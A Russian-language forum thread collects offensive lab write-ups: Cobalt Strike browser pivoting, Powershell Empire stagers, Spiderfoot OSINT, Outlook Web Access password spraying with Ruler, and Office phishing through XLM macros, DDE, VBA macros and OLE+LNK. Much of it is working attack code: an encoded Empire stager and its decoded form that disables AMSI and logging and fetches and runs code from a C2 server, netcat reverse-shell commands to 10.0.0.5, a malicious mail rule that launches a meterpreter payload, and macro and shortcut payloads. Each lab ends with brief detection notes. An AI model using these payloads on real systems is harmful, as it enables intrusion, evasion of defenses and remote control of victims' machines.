- Злоумышленник теперь может использовать свой командный сервер: 33912 в качестве веб-прокси. Весь трафик, проходящий через этот прокси-сервер, будет перенаправляться/обходить прокси-сервер, открытый в системе-жертве, через процесс Internet Explorer (порт 6605). Поскольку Internet Explorer использует библиотеку WinINet для управления веб-запросами и аутентификацией, веб-запросы злоумышленника будут повторно аутентифицированы, что позволит злоумышленнику просматривать те же приложения, к которым у жертвы есть активные сеансы, без запроса входа в систему.

Браузер разворачивается так:

beacon> browserpivot 244 x86

Обратите внимание, как iexplore.exe открыл порт 6605 для прослушивания, как упоминалось ранее:

1667252174698.png



Ниже показана атака визуально. Слева — система-жертва, вошедшая в какое-то приложение, а справа — идентификатор злоумышленника, который пытается получить доступ к тому же приложению и получает экран входа в систему, поскольку они не аутентифицированы:

1667252184296.png



История меняется, если злоумышленник начинает проксировать свой веб-трафик через прокси-сервер жертвы 10.0.0.5:33912:

1667252193516.png



Профилировщик системы

Хорошая функция, которая профилирует потенциальных жертв, собирая информацию о том, какое программное обеспечение/плагины установлено в системе жертвы:

1667252202871.png



После посещения URL-адреса профилировщика результаты отображаются в представлении приложения:

1667252211266.png



Журналы событий покажут, сколько раз жертвы использовали профайлер:

1667252219096.png
 
Powershell Empire 101

Изучение ключевых концепций Powershell Empire

Прослушиватель

// Empire commands used
?
uselistener meterpreter
info


1667252982931.png



Запуск прослушивателя:

execute

1667253004608.png



Стэйджер

Стэйджер
загрузит и выполнит финальную полезную нагрузку, которая соединится с настроенным нами ранее прослушивателем — meterpreter — ниже показано, как его настроить:

//specify what stager to use
usestager windows/hta

//associate stager with the meterpreter listener
set Listener meterpreter

//write stager to the file
set OutFile stage.hta

//create the stager
execute

1667253024986.png



Быстрый взгляд на код стейджера:

1667253034023.png



Вопросы

Различные стейджеры, которые я создал для прослушивателя meterpreter, выдавали мне такие ошибки, как эта:

1667253050488.png



и эта:

1667253058125.png



После просмотра трафика и быстрого сканирования nmap показалось, что может быть ошибка в модуле uselistener Empire при использовании с meterpreter - по какой-то причине он фактически не начинает прослушивать/открывать порт:

1667253067450.png



1667253076439.png



Чтобы проверить это предположение, я создал еще один http-прослушиватель на 80-м порту, который заработал сразу, оставив прослушиватель metpeter глючным, по крайней мере, в моей среде:

1667253088265.png



Агент

Агент — это, по сути, скомпрометированная система-жертва, которая соединяется со слушателем и теперь готова принимать команды.

Продолжая тестирование с использованием http-прослушивателя и многофункционального лаунчера, агент, наконец, возвращается после запуска launcher.ps1 (читай: стейджера) в системе-жертве:

1667253098574.png



Попробуем вернуть еще одного агента с другой машины с помощью бокового перемещения WMI (Для просмотра ссылки Войди или Зарегистрируйся):

interact <agent-name>
usemodule powershell/lateral_movement/invoke_wmi
set Agent <agent-name>
set UserName offense\administrator
set Password 123456
set ComputerName dc-mantvydas
run

1667253119439.png



Маячок


Ниже приведены наиболее часто используемые URL-адреса агента, отправляющего сигнал прослушивателю с установленным профилем прослушивателя HTTP по умолчанию:

1667253132950.png



Пакетные данные в любом из этих маяков:

1667253145959.png



Наблюдения

Обратите внимание, как выполнение stager launcher.ps1 породило еще один экземпляр powershell, а родительское и дочернее окна скрыты. Обратите внимание, что дочерняя оболочка powershell была вызвана с помощью закодированной командной строки powershell:

1667253158127.png



Командная строка стейджера в base64:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAFIAcwBpAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBpAE8ATgAuAE0AQQBKAE8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAEYAXQAuAEEAcwBzAEUAbQBCAGwAeQAuAEcAZQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAdABWAGEATAB1AGUAKAAkAE4AdQBsAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBMAD0AWwBDAG8AbABMAEUAYwB0AEkATwBuAHMALgBHAGUATgBlAFIAaQBDAC4ARABJAGMAdABpAG8ATgBhAFIAeQBbAHMAVABSAEkAbgBHACwAUwB5AHMAdABFAG0ALgBPAGIAagBFAGMAdABdAF0AOgA6AG4ARQB3ACgAKQA7ACQAdgBhAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJABWAGEAbAB9AEUATABTAEUAewBbAFMAYwByAEkAcAB0AEIATABPAEMAawBdAC4AIgBHAGUAVABGAGkARQBgAGwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAFQAVgBhAEwAVQBlACgAJABuAFUATABMACwAKABOAGUAdwAtAE8AQgBqAEUAQwB0ACAAQwBvAEwAbABFAEMAVABJAG8AbgBTAC4ARwBFAE4AZQByAEkAQwAuAEgAYQBzAEgAUwBlAFQAWwBzAHQAcgBJAE4AZwBdACkAKQB9AFsAUgBFAEYAXQAuAEEAUwBTAEUATQBiAGwAWQAuAEcARQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBFAFQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEATABVAGUAKAAkAG4AVQBMAGwALAAkAHQAcgBVAGUAKQB9ADsAfQA7AFsAUwB5AFMAdABFAG0ALgBOAGUAdAAuAFMARQBSAFYAaQBjAGUAUABPAGkATgB0AE0AQQBOAEEARwBFAHIAXQA6ADoARQBYAHAAZQBDAHQAMQAwADAAQwBvAE4AdABJAE4AVQBlAD0AMAA7ACQAdwBjAD0ATgBFAFcALQBPAEIASgBlAEMAVAAgAFMAeQBTAFQAZQBNAC4ATgBlAHQALgBXAGUAYgBDAEwASQBFAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBBAGQAZQByAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBPAFgAeQA9AFsAUwBZAFMAdABFAG0ALgBOAEUAdAAuAFcARQBiAFIARQBRAFUAZQBTAFQAXQA6ADoARABFAGYAQQB1AEwAVABXAEUAYgBQAFIAbwB4AHkAOwAkAFcAQwAuAFAAUgBvAFgAWQAuAEMAcgBFAEQAZQBuAFQAaQBhAEwAUwAgAD0AIABbAFMAWQBzAHQAZQBNAC4ATgBFAFQALgBDAHIARQBkAEUATgBUAEkAQQBsAEMAYQBDAEgARQBdADoAOgBEAEUAZgBhAHUAbAB0AE4AZQBUAHcATwBSAGsAQwBSAGUAZABFAG4AVABpAGEATABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AHMAdABFAE0ALgBUAEUAeABUAC4ARQBuAEMATwBEAEkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBUAEIAeQB0AGUAcwAoACcAUgAuACUAPwBWAHQAQwA4AHgAcQBnAG4AcwBGAGMANQBaACsAOgA5AHcAZABFAH0AQQBCAE0AcAB7AG0AegBPACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAFUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgA3ADEAOgA4ADAAJwA7ACQAdAA9ACcALwBsAG8AZwBpAG4ALwBwAHIAbwBjAGUAcwBzAC4AcABoAHAAJwA7ACQAVwBjAC4ASABFAEEAZABlAHIAUwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AOQB1AGwAYQB0AEwASwBMAHgANQBEAFcAWgA1AEkAYQB3AFIAdQBzAEYAUwAyAFoAMgByAEEAPQAiACkAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQAbwBXAE4AbABvAEEAZABEAGEAdABBACgAJABTAEUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQBUAGEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAEEAPQAkAEQAYQB0AEEAWwA0AC4ALgAkAEQAYQB0AEEALgBMAGUATgBnAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==

Расшифрованная командная строка с заметным пользовательским агентом, сервером C2 и файлом cookie сеанса:

If($PSVeRsiOnTabLe.PSVErSiON.MAJOR - ge 3) {
$GPF = [ReF].AssEmBly.GeTTyPE('System.Management.Automation.Utils').
"GETFiE`ld" ('cachedGroupPolicySettings', 'N' + 'onPublic,Static');
If($GPF) {
$GPC = $GPF.GetVaLue($NulL);
IF($GPC['ScriptB' + 'lockLogging']) {
$GPC['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;
$GPC['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$vAL = [ColLEctIOns.GeNeRiC.DIctioNaRy[sTRInG, SystEm.ObjEct]]::nEw();
$val.ADd('EnableScriptB' + 'lockLogging', 0);
$VaL.ADd('EnableScriptBlockInvocationLogging', 0);
$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $Val
}
ELSE {
[ScrIptBLOCk].
"GeTFiE`lD" ('signatures', 'N' + 'onPublic,Static').SeTVaLUe($nULL, (New - OBjECt CoLlECTIonS.GENerIC.HasHSeT[strINg]))
}[REF].ASSEMblY.GETTYpe('System.Management.Automation.AmsiUtils') | ? {
$_
} | % {
$_.GETField('amsiInitFailed', 'NonPublic,Static').SETVALUe($nULl, $trUe)
};
};
[SyStEm.Net.SERVicePOiNtMANAGEr]::EXpeCt100CoNtINUe = 0;
$wc = NEW - OBJeCT SySTeM.Net.WebCLIENT;
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.HeAderS.Add('User-Agent', $u);
$wc.PROXy = [SYStEm.NEt.WEbREQUeST]::DEfAuLTWEbPRoxy;
$WC.PRoXY.CrEDenTiaLS = [SYsteM.NET.CrEdENTIAlCaCHE]::DEfaultNeTwORkCRedEnTiaLs;
$Script: Proxy = $wc.Proxy;
$K = [SystEM.TExT.EnCODINg]::ASCII.GeTBytes('R.%?VtC8xqgnsFc5Z+:9wdE}ABMp{mzO');
$R = {
$D,
$K = $ARGS;$S = 0. .255;0. .255 | % {
$J = ($J + $S[$] + $K[$ % $K.COUNt]) % 256;$S[$_],
$S[$J] = $S[$J],
$S[$_]
};$D | % {
$I = ($I + 1) % 256;$H = ($H + $S[$I]) % 256;$S[$I],
$S[$H] = $S[$H],
$S[$I];$_ - bxor$S[($S[$I] + $S[$H]) % 256]
}
};
$ser = 'Для просмотра ссылки Войди или Зарегистрируйся
$t = '/login/process.php';
$Wc.HEAderS.AdD("Cookie", "session=9ulatLKLx5DWZ5IawRusFS2Z2rA=");
$dAta = $WC.DoWNloAdDatA($SER + $t);
$Iv = $DATa[0. .3];
$DaTA = $DatA[4..$DatA.LeNgTH]; - jOiN[ChaR[]]( & $R $datA($IV + $K)) | IEX

Журналы


Если мы изолируем злой powershell, который был заражен Империей в нашем SIEM, мы можем увидеть маячки:

1667253199015.png



Скомпрометированная система может генерировать событие 800, отображающее следующее в журналах Windows PowerShell (powershell 5.0+):

1667253210545.png



Также загружается события 4103 в Microsoft-Windows-PowerShell/Operational:

1667253223777.png



Точно так же, если включено ведение журнала стенограммы PS, там может быть зафиксировано выполнение стейджера:

1667253237970.png



Дампы памяти

Дамп памяти также может выявить ту же активность стейджера:

volatility -f /mnt/memdumps/w7-empire.bin consoles --profile Win7SP1x64

1667253259027.png
 
Spiderfoot 101 с Kali с использованием Docker

В этом лабораторном занятии рассматриваются некоторые простые шаги, необходимые для запуска инструмента OSINT Spiderfoot в Kali Linux с использованием Docker.

Spiderfoot — это приложение, которое позволяет вам, как пентестеру или члену команды, собирать информацию о заданном объекте — адресе электронной почты, имени пользователя, домене или IP-адресе, которые могут помочь вам в планировании и продвижении ваших атак против них.

Скачать Спайдерфут

Загрузите пакет Linux Spiderfoot с Для просмотра ссылки Войди или Зарегистрируйся и извлеките его в любое место в файловой системе по вашему выбору.

Я распаковал его в /root/Downloads/spiderfoot-2.12.0-src/spiderfoot-2.12 и сделал его своим рабочим каталогом:

cd /root/Downloads/spiderfoot-2.12.0-src/spiderfoot-2.12

Обновить изображение в картинке


Возможно, вам придется обновить пип, прежде чем он начнет доставлять вам проблемы:

pip install --upgrade pip

Соберите образ Docker


Создайте образ докера

docker build -t spiderfoot .

1667254762325.png



Проверьте, успешно ли создан образ:

docker images


Вы должны увидеть образ spiderfoot , созданное несколько секунд назад:

1667254779790.png



Запустите докер Spiderfoot

docker run -p 5009:5001 -d spiderfoot


Приведенный выше код запускает ранее созданный образ SpiderFoot в фоновом режиме и открывает TCP-порт 5009 на хост-компьютере. Любой трафик, отправленный на хост:5009, будет перенаправлен на порт 5001 в докере, где работает и прослушивает Spiderfoot.

Чтобы проверить, запущен ли образ докера, мы можем сделать:

docker ps


Приведенное ниже подтверждает, что докер действительно запускает образ и прослушивает порт 5001:

1667254916128.png



Ниже подтверждается, что хост-компьютер теперь открыл TCP-порт 5009 (который перенаправляет трафик на порт 5001 докера):

1667254935002.png



Использование spiderfoot

Перейдите к своему хосту: 5009, чтобы получить доступ к пользовательскому интерфейсу spiderfoot и начать новое сканирование:

1667254948808.png



Во время сканирования мы можем начать наблюдать за различными фрагментами данных, возвращаемыми из Интернета:

1667254960311.png



Детализация до одной из вышеуказанных категорий — записи DNS:

1667254971132.png
 
Благодарю бро, отличная статья, как раз искал
 
Распыление пароля Outlook Web Access: удаленный шелл

Контекст


В этой лабе рассматривается метод атаки, называемый распылением пароля, а также злоупотребление Outlook Web Application путем использования почтовых правил для получения удаленной оболочки с помощью инструмента под названием Ruler.

Определения

Распыление пароля
— это форма атаки с подбором пароля. При распылении паролей злоумышленник (с помощью инструмента) циклически просматривает список возможных имен пользователей (найденных с помощью методов OSINT против целевой компании или других средств) с парой наиболее часто используемых слабых паролей.

Для сравнения, традиционный брутфорс работает, выбирая имя пользователя из списка и пробуя все пароли в списке слов против этого имени пользователя. Когда все пароли для этого имени пользователя исчерпаны, из списка выбирается другое имя пользователя, и процесс повторяется.

Распыление пароля можно проиллюстрировать следующей таблицей:

1668016284087.png



Стандартный подбор пароля можно проиллюстрировать следующей таблицей:

1668016295109.png



Распыление пароля

Давайте попробуем применить распыление паролей к серверу Exchange 2016 в домене offense .local:

ruler -k --domain offense.local brute --users users --passwords passwords --verbose

1668016316206.png



1668016326012.png



Вышеприведенное показывает, что распыление пароля было успешным против пользователя spotless, который использовал слабый пароль 123456.

Обратите внимание, что если вы пытаетесь воспроизвести этот метод в своих собственных лабораториях, вам может потребоваться обновить файл /etc/hosts, чтобы он указывал на ваш сервер Exchange:

1668016338929.png



Получение оболочки через правило вредоносной электронной почты

Обзор процесса


Если распыление пароля на сервер Exchange прошло успешно и вы получили действительные учетные данные, теперь вы можете использовать Ruler для создания вредоносного правила электронной почты, которое позволит вам удаленно выполнить код на хосте, который проверяет этот скомпрометированный почтовый ящик.

Общий обзор того, как работает распыление и удаленное выполнение кода:

- предположим, что вы получили рабочие учетные данные во время распыления для пользователя spotless@offense.local

- с помощью Ruler создается вредоносное почтовое правило для скомпрометированной учетной записи, в нашем случае это spotless@offense.local. Созданное правило будет соответствовать формату в соответствии со строками:

if emailSubject contains someTriggerWordstartpathToSomeProgram

- Новое электронное письмо с темой, содержащей некое триггерное слово, отправляется на адрес spotless@offense.local.

- Пользователь безупречно входит в свою рабочую станцию и запускает клиент Outlook для проверки новой электронной почты.

- Приходит вредоносная электронная почта, и срабатывает вредоносное почтовое правило, которое, в свою очередь, запускает программу, указанную в pathToSomeProgram, которая указывает на вредоносную полезную нагрузку, предоставляя злоумышленнику обратную оболочку.

Исполнение

Давайте проверим, работают ли скомпрометированные учетные данные, проверив, созданы ли уже какие-либо правила электронной почты:

ruler -k --verbose --email spotless@offense.local -u spotless -p 123456 display

Ниже показано, что учетные данные работают и для этой учетной записи еще не установлены почтовые правила:

1668016388341.png


Чтобы продолжить атаку, я сгенерировал полезную реверс нагрузку метерпретера и сохранил ее как исполняемый файл Windows в /root/tools/evilm64.exe.

Теперь нам нужно создать общий ресурс SMB, доступный для нашего хоста-жертвы, и указать ему место, где находится наша полезная нагрузка evilm64.exe:

smbserver.py tools /root/tools/


Затем мы настраиваем прослушиватель метасплоита для перехвата входящего обратного шелла:

use exploit/multi/handler
set lhost 10.0.0.5
set lport 443
exploit


Наконец, мы запускаем линейку и создаем правило вредоносной электронной почты:

ruler -k --verbose --email spotless@offense.local --username spotless -p 123456 add --location '\\10.0.0.5\tools\\evilm64.exe' --trigger "popashell" --name maliciousrule --send --subject popashell

Ниже показана вся атака и все шаги, упомянутые выше, в действии — обратите внимание, что скомпрометированный почтовый ящик даже не видит входящее вредоносное письмо:

1668016437849.png



Ниже показано фактическое вредоносное правило, созданное в ходе атаки — обратите внимание на тему и свойства запуска — мы указали их в команде правителя:

1668016452240.png



Если вы хотите удалить вредоносное правило электронной почты, сделайте следующее:

ruler -k --verbose --email spotless@offense.local --username spotless -p 123456 delete --name maliciousrule
 
Фишинг: XLM/Макро 4.0

Эта лаборатория основана на исследованиях, проведенных Стеном Хегтом Для просмотра ссылки Войди или Зарегистрируйся

Вооружение

Электронную таблицу Microsoft Excel можно превратить в оружие, сначала вставив новый лист типа "Макрос MS Execel 4.0":

1668016689839.png



Затем мы можем выполнить команду, введя в ячейки:

=exec("c:\shell.cmd")
=halt()


Как обычно, содержимое shell.cmd представляет собой простую обратную оболочку netcat:

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

Обратите внимание, что нам нужно переименовать ячейку A1 в Auto_Open, если мы хотим, чтобы макросы срабатывали после открытия документа:

1668016720298.png



Исполнение

Открытие документа и включение макросов вызывает обратную оболочку:

1668016734013.png



Обратите внимание, что макросы XLM позволяют использовать API-интерфейсы Win32, поэтому также возможна инъекция шелл-кода. Смотрите оригинальную ссылку исследования ниже для получения дополнительной информации.

Наблюдения

Как обычно, ищите любые подозрительные дочерние элементы, происходящие из-под Excel.exe:

1668016748777.png



Бегло взглянув на файл шестнадцатеричным редактором, мы сразу же видим подозрительную строку shell.cmd, что, конечно, не может не радовать защитников:

1668016761382.png



1668016770309.png
 
T1173: Фишинг — DDE

Код динамического обмена данными — выполнение кода в документах Microsoft Office.

Вооружение

Откройте новый документ MS Word и вставьте поле:

1668016918606.png



Это добавит!Unexpected End of Formula для ожидаемого документа. Щелкните правой кнопкой мыши > Переключить коды полей:

1668016929035.png



Коды полей Toggle дадут это:

1668016954199.png



Замените = \* MERGEFORMAT на полезную нагрузку и сохраните документ:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

чтобы получить это:

1668016972457.png



Исполнение

Как только жертва запускает вредоносный .docx и принимает 2 приглашения, выскакивает обратная оболочка (или, в данном случае, calc.exe):

1668016985317.png



1668016994562.png



Наблюдения

1668017004285.png



Журналы Sysmon могут помочь обнаружить подозрительные процессы и/или сетевые подключения, инициированные приложениями Office:

1668017014278.png



Осмотр

Как мы можем проверить файлы .docx (то же самое для .xlsx)? Поскольку по сути это архивы .zip, мы можем переименовать файл .docx в .zip и просто разархивировать архив для дальнейшего изучения.

Нас интересует файл document.xml (обрезанный для краткости ниже). Обратите внимание, как строка 4 позволяет нам проверять полезную нагрузку DDE в виде простого текста:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:wpc="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:cx="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:cx1="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:mc="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:eek:="urn:schemas-microsoft-com:eek:ffice:eek:ffice" xmlns:r="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:m="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:wp="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:w10="urn:schemas-microsoft-com:eek:ffice:word" xmlns:w="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:w14="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:w15="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:w16se="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:wpg="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:wpi="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:wne="Для просмотра ссылки Войди или Зарегистрируйся" xmlns:wps="Для просмотра ссылки Войди или Зарегистрируйся" mc:Ignorable="w14 w15 w16se wp14">
<...snip...>
<w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText>
<...snip...>
</w:document>
 
T1137: фишинг — макросы Office

Выполнение кода с помощью макросов VBA

Этот метод создаст примитивный текстовый документ, который будет автоматически выполнять код макросов VBA после отключения защиты макросов.

Вооружение

1. Создайте новый документ Word (CTRL+N)

2. Нажмите ALT+F11, чтобы перейти в редактор макросов.

3. Дважды щелкните "Этот документ" и нажмите CTRL+C/V ниже:

Private Sub Document_Open()
MsgBox "game over", vbOKOnly, "game over"
a = Shell("C:\tools\shell.cmd", vbHide)
End Sub

C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe


Примерно так это должно выглядеть так:

1668017588076.png



Нужно нажать ALT+F11, чтобы вернуться в режим редактирования документа и добавить элемент социальной инженерии, например:

1668017598599.png



Сохраните файл как документ с поддержкой макросов, например Doc3.dotm:

1668017607376.png



Исполнение

Жертва запускает Doc3.dotm:

1668017616922.png



... и включает содержимого, в результате чего злоумышленник получает обратную оболочку:

1668017628595.png



Наблюдения

На приведенном ниже рисунке показано происхождение процесса после того, как жертва нажала кнопку "Включить содержимое" в нашем вредоносном документе Doc3.dotm:

1668017640862.png



Осмотр

Если вы получили подозрительный документ Office и у вас нет инструментов для анализа вредоносных программ, мы надеемся, что у вас есть хотя бы доступ к утилите WinZip или 7Zip и Strings или к любому типу шестнадцатеричного редактора.

Поскольку файлы Office по сути представляют собой ZIP-архивы (магические байты PK):

root@remnux:/home/remnux# hexdump -C Doc3.dotm | head -n1
00000000 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 cc 3c |PK..........!..<|


..файл Dot3.dotm можно переименовать в Doc3.zip и просто разархивировать как обычный ZIP-архив. При этом архив сдувается и раскрываются файлы, из которых состоит вредоносный офисный документ. Одним из файлов является document.xml, в котором находится основной текст основного документа, и vbaProject.bin, содержащий сами злые макросы:

1668017658483.png



Заглянув внутрь document.xml, мы можем увидеть основную копию, которую мы ввели в самом начале этой страницы в разделе "Вооружение" (Для просмотра ссылки Войди или Зарегистрируйся) :

1668017666509.png



Кроме того, если у вас есть утилита для создания строк или шестнадцатеричного дампа, вы можете передать через нее vbaProject.bin. Это может иногда дать вам как защитнику достаточно, чтобы определить, является ли документ подозрительным/вредоносным.

Запуск hexdump -C vbaProject.bin показывает некоторые фрагментированные ключевые слова, которые должны сразу вызвать подозрение — Shell, Hide, Sub_Open и что-то похожее на путь к файлу:

1668017675055.png



Если у вас есть дистрибутив Linux для анализа вредоносных программ Remnux, вы можете легко проверить код макросов VBA, содержащийся в документе, введя команду olevba.py filename.dotm. Как видно ниже, команда прекрасно декодирует vbaProject.bin и показывает фактический код, а также дает некоторую интерпретацию команд, найденных в скрипте:

1668017687730.png



Обратите внимание, что olevba можно обмануть, как показано здесь Для просмотра ссылки Войди или Зарегистрируйся
 
Фишинг: OLE + LNK

Фишинг, первоначальный доступ с использованием встроенных объектов OLE + LNK

В этом лабораторном занятии исследуется популярная техника фишинга, при которой злоумышленники встраивают файлы .lnk в документы Office и маскируют их значками офиса Ms Word, чтобы обмануть жертв и заставить их щелкнуть и запустить их.

Вооружение

Создание файла .LNK, который запускает полезную нагрузку после выполнения:

$command = 'Start-Process c:\shell.cmd'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::toBase64String($bytes)

$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\experiments\ole+lnk\Invoice-FinTech-0900541.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$link.arguments = "-Nop -sta -noni -w hidden -encodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAOgBcAHMAaABlAGwAbAAuAGMAbQBkAA=="
$link.save()


Полезная нагрузка Powershell вызовет элементарную обратную оболочку NC:

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

После выполнения приведенного выше сценария powershell создается ярлык .LNK:

1668018472410.png



Давайте создадим документ Word, который будет содержать вредоносный ярлык, созданный на предыдущем шаге:

1668018484419.png



Давайте вставим в документ новый объект, выбрав Package и изменив источник значка на исполняемый файл Microsoft Word:

1668018499921.png



1668018508395.png



Укажите пакету файл .lnk, содержащий полезную нагрузку:

1668018519711.png



Конечный результат:

1668018530101.png



Исполнение

Жертва, выполняющая встроенный документ. Получает всплывающее окно для подтверждения выполнения:

1668018542903.png



Как только жертва подтвердит, что хочет открыть файл, атакующему возвращается обратная оболочка:

1668018555657.png



Наблюдения

После запуска полезной нагрузки родословная процесса выглядит так, как ожидалось — powershell порождается winword, cmd порождается powershell..:

1668018566156.png



Вскоре после этого powershell убивается, и cmd.exe становится осиротевшим процессом:

1668018574678.png



